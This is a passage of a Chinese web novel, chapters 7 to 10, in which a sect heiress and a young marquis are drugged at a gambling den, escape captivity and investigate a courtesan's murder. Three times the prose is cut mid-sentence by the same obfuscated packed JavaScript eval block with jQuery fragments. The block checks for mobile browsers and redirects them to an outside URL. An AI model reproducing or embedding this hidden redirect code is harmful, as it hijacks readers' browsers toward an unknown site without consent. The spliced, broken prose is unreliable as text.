有了贺寒声这个行走的钱袋子之后,沈岁宁腰杆都挺直了,她回到赌场找宋三娘,“啪”地一声放了一锭银子在桌上,“现在我可以上桌了吧?”
宋三娘扫了眼银子,又看向沈岁宁身后的贺寒声,抬了抬下巴,“是本就一起的,还是你临时找来撑场子的?”
“你管那么多做什么?我钱都给你了。”
沈岁宁不耐烦地伸手去够筹码,又被宋三娘伸手挡开了。
“沈堂主贯会耍赖,我不同你赌,”宋三娘用只有两个人听得见的声音说,又看向贺寒声,“让他和我赌,若是赢了,自然有你们想要的东西。”
沈岁宁、贺寒声:“……”
贺寒声迟疑着,“在下不会赌。”
宋三娘一愣,随即大笑出声,“那看来你们今晚是得不到你们想要的东西了。”
沈岁宁深吸一口气,把贺寒声按在赌桌前坐下,“你同她赌,我教你。大不了一起完蛋。”
说着,沈岁宁简单地给贺寒声讲了下规则。
六颗骰子,双方押注,十五点为半猜大小,这是最简单的赌法了,张嘴就行。沈岁宁讲完,宋三娘便拿着骰盅坐到了对面。
沈岁宁盯着她,“你亲自摇?”
“当然不是。”宋三娘打了个响指,隔壁桌的人立马过来接过骰盅。
贺寒声莫名感到了几分压力。
以前跟父亲在军中,倒也不是没见将士们小赌过,规则倒是略知一二,但从未上过桌。
幸好沈岁宁就在旁边,她看起来胸有成竹,想来本也常年混迹在这种场合,倒是能让贺寒声稍微放松些。
这时,赌场里的大汉抱了两坛酒过来,给两边各自倒上一碗,宋三娘补充:“光赌钱没意思,输的人还要罚喝酒。筹码先输完或是先醉倒的人为输家。”
贺寒声脸色一变。
但沈岁宁没注意,大放厥词道:“你放心,管他牌桌酒桌,小爷我只要上了桌,就没有‘输’这个字!”
“……”贺寒声闭了闭眼,有些心虚。
骰盅响起,贺寒声顿时像个坐在场上的傀儡,沈岁宁让他猜什么,他就猜什么,完全没有了自主意识。
好在前三把,都是沈岁宁猜对了,贺寒声终于有了点底气。
连灌了三碗酒的宋三娘有些不高兴了,敲桌提醒:“旁人若再插嘴,可就视为犯规了。”
贺寒声:“……”悬着的心终于死了。
骰盅又落在桌子上,宋三娘半撑着身子问:“公子,猜大还是猜小?”
贺寒声看向沈岁宁。
然而沈岁宁正要开口,就被人捂住嘴拖到了后面。
贺寒声立刻起身,宋三娘却提醒:“公子,赌局还没结束,公子是要提前认输吗?”
贺寒声紧了紧双手,看向沈岁宁的方向。
“放心,那位公子是我的老朋友,我不会伤害她,只是不让她破坏规则罢了,”宋三娘看出贺寒声的担忧,安抚道:“公子,快猜吧。”
贺寒声迟疑着,看向桌上的骰盅,片刻后终于猜了个:“小?”
宋三娘打开骰盅,十七点,她抬手示意贺寒声喝酒,“请。”
贺寒声深吸一口气,端起碗一饮而尽。
宋三娘拍掌大赞:“公子爽快!”
话音刚落,便听到“嘭”地一声,贺寒声的脸狠狠砸在了桌上,瞬间不省人事。
沈岁宁见状大惊,立刻挣脱捂她嘴的大喊,反手就是一掌,几人大打出手,场面瞬间乱成一团。
宋三娘脸色一变,立刻抓起赌桌旁的葫芦往沈岁宁脸上泼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583813|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
“三娘,你——”
沈岁宁不可置信,质疑的话尚未出口,人便直直昏了过去,没了意识。
……
两人被扔进了柴房。
沈岁宁并没有完全晕过去,她常年闯荡江湖,每次出任务前都会为了防这一手而提前服解药,只是这次宋三娘对她用的药比寻常的迷药更烈些,她一时扛不住,只残存了些许意识。
两人的手脚都被绳索紧紧捆住,模模糊糊间,沈岁宁察觉到自己似乎是靠在一个人身上,她想着宋三娘还算是贴心,没让她脸着地躺着。
大约过了一炷香的时间,沈岁宁醒了。
她睁开眼,这才发现眼睛被白绫蒙住了,柴房里没有掌灯,什么也看不见。
沈岁宁气笑了,她双手被反捆在身后,这会儿药性还没完全散,动不了,只能喊被她压在地上的贺寒声:“喂,你醒了没?”
完全没有回应。
沈岁宁想,一定是他们在酒里放了药,贺寒声那么大一碗酒灌下去,药效肯定比她的要长久些。
虽然有些意外宋三娘会摆自己一道,但沈岁宁还是非常乐观,她身上还带着济世堂给她配的万能解药,只要吃下去,什么药都能解了。
沈岁宁努力地低头去够,终于把放在胸前的解药咬了出来。
她用嘴撕开药包,含了一片,没一会儿身子便能正常动弹了。
但光靠自己一个人,沈岁宁无法挣脱绳索,她想了想,试探性地问贺寒声:“嘴碰嘴这种小事,应该没有救命重要吧?”
贺寒声呼吸均匀,他如今还昏迷着,自然是没有回应的。
“不说话就是不介意哈,别回头我救了你,你还要怪我占你便宜。”
做完心理建设后,沈岁宁含了片新的解药在嘴里,用鼻尖边蹭边嗅地找到了贺寒声嘴唇的位置。
她低头吻住贺寒声的唇,舌尖轻轻抵开他唇齿,把解药送进他嘴里。
大功告成后,沈岁宁继续躺着,静静地等待贺寒声醒来,只要他醒了,他们就能出去了。
然而等了一炷香、两柱香……贺寒声都没有醒,甚至有了轻微的呼噜声,像是睡着了一样。
“……”沈岁宁耐着性子,等了足足半个时辰,实在是忍不了了,张嘴对着贺寒声的脖子狠狠地咬了一口。
“唔——”贺寒声吃痛出声,睁眼了一瞬间,又沉沉睡了过去。
沈岁宁:“……”
好的,她明白了。
这人根本不是被药晕了,他这是醉倒了。
……
8. 第8章
第8章
两个时辰后。
贺寒声终于有了意识,他立刻察觉到自己手和腿被捆住,顿时弹坐而起。
这时,角落里的沈岁宁幽幽开口:“你酒量挺好啊,一碗就倒。”
“……”贺寒声尴尬地咳了声,“我已经告诉你了,我不会赌,也不太能喝。”
沈岁宁已经没力气吐槽了。
在刚刚的两个时辰里,她尝试了无数种自救的方法,这会儿累到连话都懒得说了,只想躺着喘会儿气。
两人沉默不言的这会儿,外头的公鸡都打鸣了。
贺寒声干咳几声,“那你又是怎么回事?”
“我没想到你这么不能喝,看到你倒了,还以为宋三娘给你下了药,就跟他们打了起来,然后宋三娘就把我药倒了。”沈岁宁生无可恋地复盘,觉得真是蠢到家了。
无论是误会宋三娘下药还是自己不设防反被药倒,方方面面,都让沈岁宁觉得蠢透了。
两人各自沉浸在自己的失败中,又陷入了短暂的沉默。
沈岁宁长叹一口气,从地上坐起来,“算了,还是先出去吧。”
“你有办法了?”
“嗯,”沈岁宁挪到贺寒声旁边,“你躺下来。”
贺寒声照做,原地躺下。
沈岁宁侧过身,靠在贺寒声胸前,脑袋往上蹭了蹭。
“你……”贺寒声身体一僵,跟着就听沈岁宁道:“把我头上的簪子取下来。”
贺寒声顿了顿,克制着自己尴尬的情绪,努力找到沈岁宁头上的簪子。
好在,沈岁宁今日扮的男装,头发全部被束了起来,只插了一根发簪,贺寒声很顺利便找到了,用嘴咬住一头,拔了下来。
“好,现在别动。”沈岁宁起身正对着贺寒声,低头去够他嘴里的簪子。
外边天还没亮,加上两人都蒙着眼睛,沈岁宁在找簪子的时候,难免会发生一些不可言喻的触碰,两人都没说话,各自的心跳都如擂鼓般响亮,不知不觉间耳根子都红透了。
片刻后,沈岁宁终于找到了簪子的另一头。
两人的姿势微妙得很,沈岁宁强压住各种浮想,提醒贺寒声:“咬紧了。”
说完,她低头咬住了簪子的另一边,用力转头,取出了藏在簪子里的暗器。
沈岁宁起身,头和双手都扭向一侧,松开唇齿,簪刀便落入手中,顺利割开了绳索。
两人都完全解开时,贺寒声透过高处唯一一扇小窗看到,外面的天都开始亮了。
幸运的是,小窗虽然高了些,但并未上锁,并且勉强能通过一人。
“看来,只能想办法从这里翻出去了。”沈岁宁把簪刀重新插回头上,耳根的红还没褪去。
贺寒声“嗯”了声,看向沈岁宁,犹豫片刻,“你过来。”
“干嘛?”沈岁宁瞬间警觉,红晕又瞬间充斥着耳根。
贺寒声尴尬地摸摸鼻子,指了指窗户,“我抬你上去。”
“那你怎么出去?”沈岁宁问,“这窗户我都只能勉强过,你可不定能钻出去啊。”
“我先送你上去,至于我怎么出去,”贺寒声顿了顿,笑道:“全凭你的本事和良心了。”
“那你完了,我这人最没良心了。”
沈岁宁嘴上说着,人却很诚实地过来了,等贺寒声靠着墙半蹲好,她踩着他的大腿和肩膀,顺利从窗户翻了出去。
没过一会儿,门口便有了声响,锁很快被撬开。
贺寒声看向逆光而站的沈岁宁,轻轻一笑。
两人顺利离开柴房。
天还没完全亮,柴房又在比较偏僻的地方,一路上都没什么人。
二人前后脚走着,各自不知在想些什么,好不尴尬。
贺寒声看了眼走在前面的沈岁宁,迟疑开口:“你……”
“今天的事你敢说出去一个字,我杀了你!”
贺寒声刚说出一个字,沈岁宁立刻头也不回地凶狠威胁,耳根肉眼可见地能滴出血似的。
贺寒声顿住,似乎也有些尴尬,掩唇轻咳了几声,“那我不能喝酒的事,你也要守口如瓶。”
“这么丢人的事,我才懒得提。”沈岁宁冷哼。
两人的尴尬稍稍缓解。
贺寒声问:“下一步你打算怎么做?去找宋三娘?”
“你管我呢?”
“我不管你,但在这里面,你总有需要用钱的时候吧?”贺寒声有理有据,“你带上我,我给你提供资金,不是互利共赢的好事吗?”
沈岁宁停住脚步,转过头眼睛直直盯着贺寒声,上前两步扯掉了他身上的钱袋子,“我探了消息后告诉你,不准跟着我。”
“……”贺寒声无语,这人抢钱抢得是越来越熟练了。
……
沈岁宁独自来到宋三娘的住处。
宋三娘刚起,正在梳妆,似乎是料到有人会过来找,屋子里没有留其他人。
沈岁宁走到宋三娘身后,开口便问:“你把盛清歌藏起来了?”
“沈堂主,愿赌服输,你既然输了,这浑水你是淌不得了。”宋三娘对着铜镜描眉,这会儿她脸上没戴面具,右眼的位置有一块巨大的灰色印记,几乎有她半张脸大。
“你是不是以为,我是来杀她的?”
“漱玉山庄的事情,与千春坊无关,宋三娘更不会过问。”
见宋三娘说话滴水不露,沈岁宁握紧双手,叹息一声,“我只是想替我爹娘求个心安,三娘。”
宋三娘顿住手中动作。
“漱玉山庄是我娘一手撑起来的,她为之付诸了半生的心血,如今已是力不从心,我只是想找到盛清歌问清事情缘由,好让她安心而已。”沈岁宁打起了感情牌,但她说的也确实句句都是实话。
宋三娘起了恻隐之心,毕竟当年千春坊初建之时,也是受过漱玉山庄恩惠的。即便如今老庄主漱玉夫人退居二线,她也不能不全然不念及当年旧情。
沉思片刻,宋三娘转头看向沈岁宁,“人我是不会让你见到的。我只能告诉你,只要你现在收手全身而退,盛清歌的事情绝对不会牵扯到漱玉山庄,你回去转告你母亲即可。”
“所以,要杀盛清歌的真的是朝廷的人?”
“你别再问了,知道得太多对你、对你父母都不好,”宋三娘站起身,“你只要记住,不管盛清歌能否逃过这一劫,都与
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583814|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你所担心的事情无关。只要漱玉山庄置身事外,你父母便可心安。”
……
沈岁宁来到春风馆和贺寒声约定的地方。
她的腰牌是杏花纹朱雀像,只能去南苑、中苑和春风馆,中苑人太多,春风馆相对来说更僻静些,于是两人选在此处碰面。
沈岁宁找到贺寒声,他也换了块木腰牌,如今已洗漱更衣,坐在窗前摆弄着房间里的古琴。
“问你个事,”沈岁宁关上房门,“你是从北方来的,对吧?”
“正是。”这事无需隐瞒,听口音就能猜到。
“那你有没有听说过蔽月公主?”
贺寒声指尖一顿,看向沈岁宁,似乎是猜到了什么,“她已经死了。两个月前她在公主府和驸马发生争执,一尸两命。”
沈岁宁愕然,她只知道盛清歌和蔽月公主的驸马有染,但不知公主两个月前就薨逝了。
“这么说来,盛清歌真的是因为卷进了京城的纷争才惹来了杀身之祸。”沈岁宁肯定了自己的想法,同时庆幸母亲当时的谨慎。
“不过,”沈岁宁坐在贺寒声对面,双手撑在桌案上,“你是既从北方来的,目的又在于盛清歌……你不会是朝廷派来的人吧?”
“这很重要吗?”
沈岁宁被反问住,仔细思考了片刻,自顾自说道:“也是。就算你真是朝廷派来的人,你我顶多算阶段性互惠互利,没有其他实质性的联系。”
这么想着,沈岁宁彻底放下心来,仰躺在窗边,长舒一口气。
见状,贺寒声忍不住问:“怎么?你任务结束了?”
“不告诉你。”沈岁宁美滋滋地想,这次没有太多打打杀杀,到处逛逛玩玩就把事情办好了,除了天冷一点,也不算太艰难。
贺寒声看出她的状态已然轻松,倒也不点破,只问:“那盛清歌……”
沈岁宁转过脸看他,贺寒声微微一笑:“你拿了我的钱,总得告诉我点什么才说得过去吧?”
“那,我把钱还你?”
贺寒声沉下脸来,满是不悦。
沈岁宁哈哈大笑。
她撑起下巴,“你先告诉我,在你整个任务的进程中,盛清歌大约占了几分重要?”
“你知道这做什么?”
“知道了她的重要性,我才好根据我所知道的信息推测你成功的可能性啊,”沈岁宁振振有词,“当然,你要不方便说就算了。我只能告诉你,有宋三娘和千春坊,你想见到盛清歌没那么容易。”
贺寒声陷入沉思。
若见不到盛清歌,他就无法找到失踪驸马的下落,也就难以查出蔽月公主的真实死因。
“那……还有没有什么方法可以见到?”贺寒声虚心请教。
“有啊,”沈岁宁不假思索,“除非你能说服宋三娘。”
“怎么说服?”
“嗯……三娘这个人吧,你用说服旁人的方式去劝说她,铁定是没有用的。但你若能在赌桌上让她心服口服,或许能成。”
贺寒声:“……”
“行叻,我能说的都告诉你了,”沈岁宁起身,依照江湖礼数朝贺寒声拱手作揖,“有缘再见,告辞。”
9. 第9章
第9章
沈凤羽到春风馆找到沈岁宁的时候,她已经换下了小厮的装束,摇身一变成了一白衣书生,安静地坐在窗边抚琴。
屋里的乐伎抱着琵琶,与她合奏了一曲《鹤冲霄》。
苹叶软,杏花明,画舡清。双浴鸳鸯出绿汀,棹歌声。春水无风无浪。春天半雨半晴。红粉相随南浦晚,几含情。(引自《东皋琴谱》中的《鹤冲霄》。)
沈凤羽虽不懂乐理,但却能看到那位乐伎看沈岁宁的眼神,柔得像能掐出水来,她瞬间感觉浑身都不太自在。
一曲毕,沈凤羽站在门口鼓起了掌,乐伎许是没想到还有第三人在场,抱起琵琶起身,瞬间红了脸颊。
沈凤羽朝她点点头,“先出去吧。”
“是,公子。”乐伎垂眸行礼,一步三回头地出去了。
旁人走后,沈凤羽终于忍不住数落起沈岁宁来,“你能不能别到一个地方就要招惹几个小姑娘?”
“弹个曲子而已,哪里就招惹了呢?”沈岁宁似是心情不错,故意弹了一段欢快俏皮的小调回应沈凤羽,“我只是喜欢漂亮的皮囊罢了。”
沈凤羽白她一眼。
回看漱玉山庄上一代的长辈们,各个都是一等一的专情,全然不似沈岁宁,好像只要是个漂亮的她都喜欢,个个都喜欢。
“有盛清歌的下落了?”
沈凤羽“嗯”了声,这才谈起正事,“她就藏在千春坊养伤。盛清歌在万花楼的时候,便擅长乔装改扮,虽然不比我们的易容术以假乱真,但混迹在人群中也是不容易看出来的,千春坊南来北往的客人多,又有宋三娘的庇佑,对她来说算是个不错的藏身之处。”
“那就先不要打草惊蛇了,这几日你我行事都低调些,等一个合适的时机。只要盛清歌察觉到我们并非是来杀她的,或许她会主动找上我们。”
沈凤羽思索片刻,“不过你觉得,盛清歌会轻易相信我们吗?”
“都被逼到这个份上了,不信也得信,”沈岁宁冷笑,“漱玉山庄在江湖上的分量也不是旁的人轻易能够比拟的。她若能主动告知想杀她的人是谁,原因是什么,尽管漱玉山庄不会在明面上插手,也能用其他法子为她博取生机。”
“那……若真是华都那边有人要她的命呢?”
“华都来的那两位若是为了取盛清歌性命,作为杀手,他们也太不合格了。我猜他们和我们一样,是想找盛清歌了解到什么罢了。只不过盛清歌现在被人追杀,如同惊弓之鸟,大抵他们也在为此伤脑筋。退一万步讲,若盛清歌真轻易死他们手里了,”沈岁宁嘲笑出声,“那她确实没那个命活着了。”
沈岁宁这个人虽然平时不太正经,但关键时候的想法还是让沈凤羽很信服的,否则漱玉山庄那么多能人义士,她也不会这么死心塌地地追随她。
因此听到沈岁宁这样胸有成竹,沈凤羽也放下心来,“那我们且等着吧。”
“嗯,”沈岁宁抚了一段曲子,突然想到了什么,“对了,咱俩得再换张脸和身份。”
“为何?”
“不想让京城来的那两位妨碍到我们。”沈岁宁故意在贺寒声面前表现得轻松,就是想让他认为自己的任务已经结束,从而放下对她们的戒备。
自始至终,沈岁宁并不能确定贺寒声他们的目的是什么,究竟是否与自己的相冲突,唯一能够确切知道的,便是那人一定是从京中南下的,并且看他的穿衣和打扮,大约官职不小。
从和他的谈话来说,沈岁宁猜测,他要找盛清歌,十有八九是因为那位已经死去的蔽月公主,或许盛清歌和公主的死因有关。
总而言之,沈岁宁不能再和他们扯上任何关系了。
漱玉山庄有铁则,便是不能与朝廷官员有往来,更不能参与任何可能会涉及到朝政的事情,这也是她的父母最为看重和担忧的事情。
这个道理,沈凤羽自然也想得清楚,不过她略微有些惋惜,“还想着那小子会是你喜欢的类型。”
沈岁宁:“?”
“你现在胆子是越来越大了,连这种事情都敢当着我的面说。”沈岁宁气笑着扔了个茶杯过去。
沈凤羽伸手接住,“难道不是?我一直以为我们家少主对自己打不过的男人有特殊的感情,更何况那小子生了副好皮相。武力值和长相都不错,这不正中你下怀嘛?”
沈岁宁翻了个白眼,懒得理她。
这时外头传来一阵喧嚣,沈岁宁没好气道:“去看一眼。”
“得叻。”
沈凤羽前脚刚走,房间的窗户突然开了一扇,外头迅速蹿过一个人影,将什么东西朝沈岁宁的方向猛地射过来。
沈岁宁掌心拍桌,跳起避开,桌上的茶壶瞬间炸裂,茶水四溅。
站定后的沈岁宁立刻追去窗边,外头是一片尚未化冰的池塘,半点人影子都没有了。
她回过头,看到地上的碎片里混杂着什么东西。
沈岁宁蹲在地上把东西捡起来,不小心被沾在上面的碎片扎破了手指,她感觉不到疼,只吮去了指尖的血渍,而手中打碎茶壶的东西正是宋三娘昨日戴在脸上的半边鎏金面具,上面早已有了岁月的碎纹。
“三娘……”沈岁宁眼皮一跳,心里泛起一阵不好的预感。
片刻后,沈凤羽回来了,她的脸色明显比方才出去时差了许多。
“发生了何事?”沈岁宁的不安感越发强烈。
“盛清歌……出事了,”沈凤羽似乎还有些不敢相信,“她死在了宋三娘的房间里。”
……
辰时三刻,原本应当去南风馆当值的宋三娘仍在房里,房门关得严严实实的。
她的贴身侍女杏春觉得奇怪,怕三娘头一晚吃醉了酒,错过了时辰,便推门进去叫她,结果在房间里看到了盛清歌一身红衣倒在血泊当中,脸上血肉模糊。
杏春吓坏了,当即便报了官,苏州知州陈士霖立刻带人赶到现场。
这事一出,瞬间便闹得满城皆知,昔日门庭若市的千春坊顷刻间便无人问津,不得不闭门谢客。
陈士霖到案发现场的时候,贺寒声已经在了。
看到眼前的青年人,陈士霖先是一顿,随即立刻抬手行礼:“下官不知小侯爷也在此,失礼了。”
“无妨。”贺寒声蹲在地上,正在察看尸体伤势。
江玉楚向陈士霖行礼:“侯爷此次是奉陛下密诏南下查案,不宜过分张扬,还望陈大人回去后不要声张。”
“下官明白,只是……”陈士霖停顿片刻,“莫非侯爷要查的案子,与蔽月公主一案相关?”
听了这话,贺寒声站起身,“正是此案。”
贺寒声的母亲晋陵长公主是当朝圣上的亲妹妹,论起亲缘,蔽月公主是贺寒声的表姐。
蔽月公主是皇上的第一个女儿,虽然不是中宫嫡出,但也受皇上和太后宠爱,自小养成了骄纵跋扈的性子,成婚之后,更是因善妒而时常打骂府中奴婢,年初甚至因为一个婢女在家宴上伺候时多看了驸马一眼,便命人挖掉了她的眼睛。
两个多月前,身怀六甲的蔽月公主因为得知驸马顾闻朗在她有孕后通奸,两人在府上发生争执,竟大打出手,致使公主险些小产。在太医院尽心调理、确保公主胎儿无误之后,公主突然在一个下午无端暴毙房中,而在此之前,顾闻朗已有整整七天未归府,公主薨逝之后更是犹如人间蒸发了一般。
皇上因此龙颜震怒,立刻要命人抄了顾家,但因为没有证据证明公主及其腹中胎儿确实是顾闻朗所杀,遭到了谏官和群臣的反对,无奈之下,皇上只好秘密诏了刚承袭爵位不久的贺寒声暗中查明。
此事轰动朝堂,整整两个月仍旧悬而未决,陈士霖自然有所耳闻,在得知贺寒声正是为此案南下,他不由得多说了句:“驸马成婚之前曾来过苏州,与下官有过几面之缘。依下官所见,驸马虽比不得侯爷风姿绰约,却也是个儒雅谦和的大才子,实在不像是会杀妻灭子之人。”
“他倒像是个老实人,憨厚实诚得紧。”贺寒声回忆着自己与顾闻朗的几次相处,点头附和,只是知人知面不知心,谁又能断定一个温和憨厚的书生绝对不会提刀杀人呢?
贺寒声与陈士霖说话间,地上的女尸被抬到了外边,沈岁宁假扮成小吏混进仵作当中,亲自察看了女尸的情况。
就如她所听到的那样,面目全非,脖子上有几段很深的伤口,像是被人从身后活活勒死的。
沈岁宁觉得奇怪,以盛清歌谨慎多疑的性格和她目前的处境,即便对方是和她交情很深的人,也不可能毫无防备地把自己的后背留给他。
其他仵作解开了女尸的衣裳查验,沈岁宁顺势围观,发现除了脖子上的一处致命伤和被刮花的脸,身上没有任何其他明显的伤痕。
沈岁宁心里顿时“咯噔”一下。
这时,贺寒声和陈士霖从屋里出来了,沈岁宁下意识别过脸,转念想到自己已经换了张脸,又放松下来。
贺寒声毫无察觉,只看向正在验尸的几名仵作,问:“大人是如何确定死者是盛清歌的?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583815|171634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其实尚未下定论。下官排查之后,发现共有两位女子不知所踪,一位是从杭州一路逃过来的盛清歌,一位是千春坊的宋三娘,按说二者皆有可能。只是第一个发现女尸的目击证人称,她在推开房门之后看到宋三娘跳窗逃走了。因此才……”
陈士霖说的每一个字,沈岁宁都真真切切地听到了,加上自己猜测的种种,她顿时觉得一股冷意爬上背脊。
……眼前这具女尸,并非是盛清歌,而是宋三娘。
一旁的仵作正在察看尸体,见沈岁宁杵着不动,便用力推了她一下,“别碍着了,来帮忙!”
沈岁宁正沉浸在一股莫名的情绪当中,毫无防备地往前一个踉跄,揣在怀里的半边鎏金面具“啪”地一声飞了出去,掉在了地上。
沈岁宁瞳孔一缩,立刻想上前去捡,却被离得更近的一名侍卫抢先捡了起来。
“这是何物?”
沈岁宁扭头便要跑,侍卫反应极快,腰间的刀迅速出鞘,“抓住他!”
顷刻间,在场的侍卫纷纷拔刀上前,沈岁宁后退一步,一个飞踢便踹倒了前面几人,跟着接住了从身后挥过来的手腕,夺下了刀后将人扔了出去。
江玉楚和陈士霖立刻挡在贺寒声身前。
陈士霖大喊:“这一定是凶手!快捉住他!”
沈岁宁的武力值在传闻中虽然平平,但打几个侍卫还是绰绰有余的,眼见着“凶手”就要逃跑,贺寒声开口:“玉楚。”
江玉楚轻功一跃到半空,抬脚重重地踢了下来,刚应付完侍卫的沈岁宁来不及躲过,只能双手交叉挡在身前,生生挨下这一脚。
沈岁宁被逼得退后几米,捂着胸口,从袖子里滚出了一枚烟雾弹砸了过去。
顷刻间,院里被浓烟淹没,沈岁宁借机利用轻功飞上屋顶,眼见着就要成功逃脱,突然底下浓烟中飞出一条铁链子不偏不倚地拉住她的脚踝。
铁链一拉,沈岁宁瞬间顺着屋顶往下滑,瓦片哗啦啦掉了一地,这时江玉楚也飞上了屋顶,一拳砸了下来。
这时沈岁宁身后跳出一人,一脚踢开了江玉楚。
“少主,快走!”沈凤羽扯下绑在沈岁宁脚踝上的铁链,用力一拽,链子瞬间成了她手上的武器。
侍卫陆续跳上了屋顶,又有江玉楚这一高手围堵,情急之下,沈凤羽又放了一颗烟雾弹,一掌拍开了沈岁宁,自己被反手扣在了屋顶上。
……
经仵作验尸,基本断定了死者是千春坊的宋三娘,而真正的盛清歌再度不知所踪。
沈凤羽被当作杀害宋三娘的凶手押进了官府大牢,由于见识过她的本领,大牢内外都加派了兵力把手,沈岁宁孤身一人想去劫狱是断然不可能的。
并且官府下了定论,即便是把人强行劫走,漱玉山庄也会背上一条莫须有的人命,从而断了与千春坊长久累积的情分。
无奈之下,沈岁宁只能戴上独属于碧峰堂的蓝色青铜面具,夜访陈士霖的府邸。
陈士霖在半梦半醒间,看到窗前桌子上坐了一个人,差点吓了个半死。
等看清了来人后,陈士霖轻吐一口气,“原来是沈堂主到访。”
沈岁宁开门见山:“我是来要人的。今日你们在千春坊南风馆抓住的那人,是我的部下。”
江南各州的知府都默契地达成了一条不成文的规定,便是尽可能地与漱玉山庄及其他江湖门派井水不犯河水,只要他们不做伤天害理的事情,知府们都愿意卖他们面子。
但这次涉及到命案,陈士霖不能还睁一只眼闭一只眼,只能说:“那位牵扯进了命案,下官恐怕不能放人。”
“她不是凶手。”
“沈堂主要如何证明她不是?”
沈岁宁被噎住,光凭她一张巧嘴,断然无法为牢中的沈凤羽洗脱嫌疑,即便她真的全然无辜。
思索片刻,沈岁宁道:“你给我几天时间,我会把真凶带回来。在此之前,你要好吃好喝地供着她,不准用刑。”
陈士霖颇有几分为难,“可死者是千春坊的宋三娘。她的地位和名气,想必沈堂主也知道,千春坊如今虽然已经被迫关停,但几位掌柜日日都到府衙门前闹,要将凶手就地正法以告慰死者在天之灵。下官恐怕难以抵挡。”
“五天。”沈岁宁直接给了一个确切的时间,“五天后,我再来要人。”
说完,沈岁宁跳下桌子,抬手深深向陈士霖鞠了一躬:“拜托了。”
话已至此,陈士霖自然无法拒绝,只能回礼应下:“下官尽力而为就是了。”
10. 第10章
第10章
沈凤羽被捕后,沈岁宁连夜调动了漱玉山庄的千机阁,全力搜寻盛清歌的下落。
盛清歌负伤逃命,一路上不断地变换乔装,还要与几波人周旋,早已经筋疲力竭,沈岁宁骑着马追了整整两日,终于在一片松林中发现了她丢弃的衣物和地上的血迹。
沈岁宁顺着血迹,终于找到了倚靠在一颗巨大石头旁边的盛清歌。
盛清歌一身白色布衣,左肩上红了一片,脸上虽然有狼狈的印记,但却丝毫不损她江南第一美人的名号。
为了这样的美人,杀人放火的事情也是有人愿意去做的。
沈岁宁跳下马,走向盛清歌。
她今日不曾乔装易容,穿了一身白衣,身上披着保暖的黑狐裘,脸上戴着蓝色面具,只露了下半张脸。
饶是只要半张脸,也能清晰地看出沈岁宁脸颊的轮廓,如玉脂一般通透流畅,不见半点瑕疵,一瞧便知是个不可方物的美人。
盛清歌抬眼见了,不由愣住,随即又笑出声:“想不到沈堂主真容竟如此甜美可人。若是早以真面目示人,怕是这所谓的江南第一美人的称号,便是沈堂主你的了。”
“我答应了千春坊,在追捕你的过程中不易容。”沈岁宁语气平静。
除了陈士霖,沈岁宁也去找千春坊的几位掌柜争取了时间。
宋三娘的意外死亡让他们难得同仇敌忾,他们并不怕得罪漱玉山庄,沈岁宁几番游说,才终于让他们松了口,同意在沈岁宁带回真凶前不再给陈士霖施压,但前提是沈岁宁在追凶的过程中要与千春坊的人配合,并且全程以真面目示人。
原因很简单,碧峰堂的人各个身怀绝技,又精通易容之术,若是不如此要求很容易便让她们逃了。
为了能够顺利救出沈凤羽,沈岁宁欣然答应,只用面具遮住了真容。
“你就不怕我看到了你的脸,日后会坏你的事?”
沈岁宁微微俯身,看着地上如同待宰猎物的盛清歌,轻启嘴唇:“那也要看你有没有这个命了。”
话毕,沈岁宁一掌劈向盛清歌,后者已无力抵挡,生生挨下,一口鲜血吐了出来,趴在了雪地里。
“我本来不必如此,”沈岁宁半蹲在盛清歌面前,伸手抬起盛清歌的脸,眼神冰冷:“但你杀了宋三娘,嫁祸与我,害得我的人在牢狱中遭受无妄之灾。我这个人惯来小心眼,你既不仁,我也懒得装良善。”
盛清歌大笑出声。
她艰难开口,“我本来想借宋三娘的死让千春坊和漱玉山庄反目成仇,但我没想到,一向雷厉风行的沈堂主竟会为了区区一个部下卑躬屈膝,去求千春坊的人……咳咳咳!”
“注意你的措辞。”沈岁宁手用了力,强制打断了盛清歌的话。
盛清歌被血呛到,咳得双眼通红。
血流到沈岁宁手上,她松开盛清歌,掏出帕子把手擦拭干净,“所以,你为什么杀宋三娘?就为了让千春坊和我反目?”
盛清歌缓了口气,自嘲道:“我本来没想杀她。可那天我躲在她房里,听到了你们的对话。”
沈岁宁微微一愣,迅速回忆起那天和宋三娘说了些什么。
“宋三娘这个人,太重情谊。我知道她早年与漱玉山庄交好,怕她对你生出恻隐之心后会出卖我,”盛清歌抬起脸,眼中竟有了泪水,“所有人都想杀我,宋三娘是我唯一能够活命的机会。既然她都无法保证不出卖我,不如干脆把她杀了。”
“你疯了。”
“我想活命有什么错!”
